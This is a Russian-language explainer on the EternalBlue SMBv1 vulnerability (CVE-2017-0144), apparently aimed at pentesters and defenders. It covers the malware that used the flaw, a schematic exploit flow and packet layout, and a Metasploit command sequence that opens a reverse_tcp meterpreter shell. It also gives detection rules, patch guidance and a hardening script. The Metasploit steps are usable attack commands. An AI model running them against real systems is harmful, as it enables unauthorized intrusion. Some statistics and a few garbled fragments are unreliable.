
CVE-2017-0144

«Один эксплойт. Десятки семейств вредоносных программ. Ущерб в миллиарды долларов.»
CVE-2017-0144 — это критическая уязвимость удалённого выполнения кода в реализации сервера SMBv1 в Microsoft Windows. Эксплойт, известный как EternalBlue, использовал эту брешь и применялся в атаках с высоким ущербом (в частности, WannaCry).
| # | Вредоносная программа | Тип | Первое появление | Оператор | Ущерб | Примечания |
|---|
| 1 | WannaCry | Программа-вымогатель | 12 мая 2017 | Lazarus Group (КНДР) | 4–8 млрд долл. | Killswitch: iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com |
| 2 | NotPetya | Вайпер (маскировался под программу-вымогатель) | 27 июня 2017 | Sandworm (Россия) | 10+ млрд долл. | Использовал Mimikatz + EternalBlue + PSEXEC |
| 3 | Bad Rabbit | Программа-вымогатель | 24 октября 2017 | Indrik Spider | Региональный | Поддельное обновление Flash (drive-by) |
| 4 | Uiwix | Программа-вымогатель | май 2017 | Неизвестен | Низкий | Нет killswitch, скрытнее WannaCry |
| 5 | EternalRocks | Червь | май 2017 | Неизвестен | Средний | 7 инструментов АНБ (вкл. DoublePulsar) |
| 6 | Adylkuzz | Криптомайнер | май 2017 | Неизвестен | Высокий (скрытый) | Добывал Monero до WannaCry |
| 7 | Retefe | Банковский троян | 2017–2018 | Неизвестен | Банки ЕС | Использовал EternalBlue для горизонтального перемещения |
| 8 | TrickBot | Модульное ВПО | 2017–2021 | Wizard Spider | Глобальный | Доставлял Ryuk через EternalBlue |
| 9 | Emotet | Загрузчик | 2017–2021 | TA542 | Глобальный | Использовался как точка входа для Cobalt Strike |
| 10 | Clop / Dridex | Программа-вымогатель | 2019–2025 | TA505 | Здравоохранение, госсектор | Всё ещё активны в 2025 году |

| Инструмент | Дата выхода | Возможности |
|---|---|---|
| EternalBlue (оригинал) | апр. 2017 (Shadow Brokers) | RCE через SMBv1 |
| DoublePulsar | апр. 2017 | Имплант-бэкдор (ring0) |
| EternalRomance | апр. 2017 | Вариант для SMBv3 |
| EternalChampion | апр. 2017 | Альтернативный путь SMB |
| Модуль Metasploit | май 2017 | exploit/windows/smb/ms17_010_eternalblue |
| FuzzBunch | апр. 2017 | Фреймворк эксплойтов АНБ |
| Impacket + PSEXEC | 2017–2025 | Эксплуатация SMB на Python |

«Один повреждённый пакет. Полный доступ SYSTEM. Без входа в систему. Без единого клика.»
[Attacker]
│
├──▶ Sends crafted SMBv1 **Trans2** request
│ → Triggers **heap overflow** in `srv!SrvOS2FeaListSizeToNt`
│
├──▶ Overwrites function pointers → **kernel shellcode**
│
└──▶ Executes **DoublePulsar** backdoor → **Ring-0 payload**
(e.g., WannaCry `mssecsvc.exe`)
| Требование | Детали |
|---|---|
| Цель | Windows со включённым SMBv1 (по умолчанию до Windows 10) |
| Открытый порт | 445/TCP (или 139/TCP через NetBIOS) |
| Аутентификация | Не требуется — имя пользователя и пароль не нужны |
| Архитектура | x86 или x64 (обе поддерживаются) |
| Статус обновления | Без обновлений (до MS17-010) |
SMB_COM_NEGOTIATE → Client sends dialect list
Server responds: SMBv1 supported → Proceed
Зачем? Подтверждает, что SMBv1 активен.

\\TARGET\IPC$ → Anonymous share for SMB pipes
Назначение: устанавливает сеанс для отправки транзакционных запросов.
SESSION_SETUPFEALIST {
SizeOfListInBytes = 0xFFFF (or large value)
...
}
Триггер ошибки:
SrvOS2FeaListSizeToNt()доверяет этому размеру без проверки границ.

FEA {
AttributeNameLength = 0x00
AttributeName = "A" * 0x1000 → Overflow buffer
}
Heap Spray: выделяет крупные блоки для управления раскладкой памяти.
srv!SrvOS2FeaListSizeToNt(
PFEALIST FeaList, // attacker-controlled
PULONG pNtFeaListSize // output pointer
)
{
// No validation of FeaList->SizeOfListInBytes
memcpy(dest, src, FeaList->SizeOfListInBytes); // BOOM
}
Free)KeUserModeCallback)mssecsvc.exe)
0x00120034)Ping: 0x0002C001Exec: 0x0002C002 + полезная нагрузкаПример WannaCry:
EternalBlue → DoublePulsar → mssecsvc.exe → tasksche.exe → Encrypts files
SMB Header
└── Command: 0x32 (TRANSACTION2)
└── Setup: 0x000E (SESSION_SETUP)
└── Parameter: TotalDataCount = 0x1000
└── Data:
[FEALIST]
SizeOfListInBytes = 0x1100
[FEA #1] NameLen=0, Name="A"*0x1000
[FEA #2] ...
[GROOM x100] → Spray heap
[OVERFLOW] → Overwrite pool
[SHELLCODE] → x64 ring0
| Инструмент | Язык | Модуль |
|---|---|---|
| Metasploit | Ruby | exploit/windows/smb/ms17_010_eternalblue |
| Impacket | Python | smbclient.py, psexec.py |
| FuzzBunch | Python (АНБ) | EternalBlue-2.2.0 |
| Собственный C2 | C/C++ | WannaCry, NotPetya |
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit
| Артефакт | Расположение | Значение |
|---|---|---|
| DoublePulsar | Память ядра | XOR-ключ 0x00120034 |
| Шелл-код | Пул srvnet.sys | шаблон 0xCC 0x90 0x48 |
| Внедрённая DLL | C:\Windows\mssecsvc.exe | SHA256: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa |
alert tcp any any -> $HOME_NET 445 (
msg:"ETERNALBLUE Attempt";
flow:to_server,established;
content:"|ff|SMB2"; depth:5;
content:"|00 04 08 00|"; distance:100; within:4;
classtype:attempted-admin;
sid:1000001;
)
event smb1_transaction2_secondary(c: connection, hdr: SMB1::Header, args: SMB1::Trans2_Secondary_Args) {
if (args$data_len > 4096) {
NOTICE([$note=SMB::Large_Trans2_Data, $conn=c]);
}
}
while (true) {
Scan network for port 445
if (open) → EternalBlue exploit
if (success) → Drop mssecsvc.exe + propagate
Sleep(random(1000, 5000))
}
Скорость распространения: ~10 000 заражений в час по всему миру.
| Фактор | Причина |
|---|---|
| Без аутентификации | SMBv1 допускает анонимный доступ к IPC$ |
| Червеподобность | Встроенное сканирование локальной сети |
| RCE в ядре | Обходит антивирус и запросы пользователя |
| Устаревший SMBv1 | Включён по умолчанию на протяжении более 15 лет |
| Системы без обновлений | XP, 2003, 7 в критической инфраструктуре |
| Год | Успешность % (без обновлений) |
|---|---|
| 2017 | 99% |
| 2020 | 85% |
| 2025 | ~60% (только устаревшие системы) |
Всё ещё работает на Windows 7/2008 R2 без MS17-010
EternalBlue = математическая ошибка, превращённая в оружие
Доверенное поле размера в SMB → переполнение кучи ядра → произвольный код → глобальная пандемия программ-вымогателей
SMB Packet → Buffer Overflow → Kernel Shellcode → DoublePulsar → Malware
Визуализировано, разобрано и проверено в бою. Для пентестеров, команд реагирования на инциденты (IR) и защитников.
«Один пакет. Один порт. Одна империя падает.»
| ОС | Обновление KB | Отключение SMBv1 | Nmap-скрипт |
|---|---|---|---|
| Windows 7 / 2008 R2 | KB4012212 | sc config lanmanworkstation depend= bowser/mrxsmb20/nsi | smb-vuln-ms17-010.nse |
| Windows 10 | KB4013429 | PowerShell: Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol | |
| Windows XP (EOL) | KB4012598 (экстренное) | Реестр: HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\SMB1 = 0 |

rule WannaCry_Ransomware {
strings:
$mz = { 4d 5a }
$s1 = "WannaDecryptor" wide
$s2 = "tasksche.exe"
$s3 = "@WANA" ascii
$encrypt = { 57 61 6E 61 43 72 79 70 74 30 72 }
condition:
$mz at 0 and 2 of ($s*)
}

rule NotPetya_Wiper {
strings:
$pdb = "perfc.dat" nocase
$dll = "dllhost.dat"
$mof = "ntdevmgr.vbs"
$mimikatz = "mimikatz"
condition:
uint16(0) == 0x5A4D and 2 of them
}


rule EternalBlue_SMB_Exploit {
strings:
$smb_negotiate = { 00 00 00 ?? ff 53 4d 42 72 00 }
$tree_connect = { 00 00 00 ?? ff 53 4d 42 75 00 }
$trans2 = { 00 00 00 ?? ff 53 4d 42 32 00 }
$overflow = { 00 04 08 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? }
condition:
all of them
}
| Показатель | Статус |
|---|---|
| Открытые SMBv1 по данным Shodan | ~1,2 млн (нояб. 2025) |
| Активные эксплойты (honeypot-ловушки) | Ежедневно |
| Программы-вымогатели, использующие его | Clop, LockBit (устаревшие цели) |
| Наиболее уязвимые | Здравоохранение, производство, малый и средний бизнес |
| Решение Zero Trust | Заблокировать порт 445, внедрить MFA, EDR |
| Фаза | Техника | ID |
|---|---|---|
| Первоначальный доступ | Эксплуатация публичного приложения | T1190 |
| Выполнение | RCE через Windows SMB | T1210 |
| Постоянство | Бэкдор через DoublePulsar | T1505.003 |
| Горизонтальное перемещение | SMB/административные ресурсы Windows | T1021.002 |
| Воздействие | Шифрование данных для воздействия | T1486 |
# === ETERNALBLUE HARDENING SCRIPT ===
Write-Host "Applying EternalBlue Mitigations..." -ForegroundColor Cyan
# 1. Disable SMBv1
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart
# 2. Block Port 445
New-NetFirewallRule -DisplayName "Block SMB Inbound" -Direction Inbound -Action Block -Protocol TCP -LocalPort 445
# 3. Enable SMB Signing
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "RequireSecuritySignature" -Value 1
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters" -Name "RequireSecuritySignature" -Value 1
# 4. Check Patch
$patch = Get-HotFix -Id KB4012212 -ErrorAction SilentlyContinue
if ($patch) { Write-Host "Patched!" -ForegroundColor Green } else { Write-Host "UNPATCHED!" -ForegroundColor Red }
Write-Host "Reboot required. Run as Admin."
| Источник | Ссылка |
|---|---|
| NVD | nvd.nist.gov/vuln/detail/CVE-2017-0144 |
| Microsoft MS17-010 | msrc.microsoft.com/update-guide |
| MITRE ATT&CK | attack.mitre.org/techniques/T1210 |
| Отчёт CrowdStrike о WannaCry | crowdstrike.com/blog/wannacry |
| Kaspersky об EternalBlue | kaspersky.com/blog/wannacry-ransomware |
| Поиск Shodan | shodan.io/search?query=port%3A445+os%3A%22Windows%22 |
CVE-2017-0144 не мёртв — это устаревший зомби.
Он процветает в:
- Windows 7/2008 без обновлений
- Теневые ИТ
- Критические системы с воздушным разрывом (air-gapped)
- Неправильно настроенные облачные ВМ
Если вы можете пропинговать порт 445 из интернета — вы следующий.
Создано с точностью, визуализациями и данными о реальных угрозах. Обновлено в нояб. 2025.
Для пентест-лабораторий, IR-плейбуков или брифингов CISO.
«Патчите. Блокируйте. Уничтожьте огнём.»